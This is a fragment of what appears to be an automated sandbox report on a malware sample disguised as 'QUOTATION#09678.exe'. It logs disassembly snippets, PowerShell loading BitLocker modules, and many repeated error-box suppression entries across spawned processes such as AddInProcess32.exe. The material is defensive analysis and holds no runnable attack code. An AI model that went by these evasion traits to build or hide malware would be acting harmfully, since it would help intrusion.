Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FFD9B88785E push eax; iretd	0_2_00007FFD9B88786D
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FFD9B88787E push ebx; retf	0_2_00007FFD9B88796A
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FFD9B950050 push esp; retf 4810h	0_2_00007FFD9B950312
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_02CA0C6D push edi; retf	4_2_02CA0C7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_069A7350 push es; ret	4_2_069A7360

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
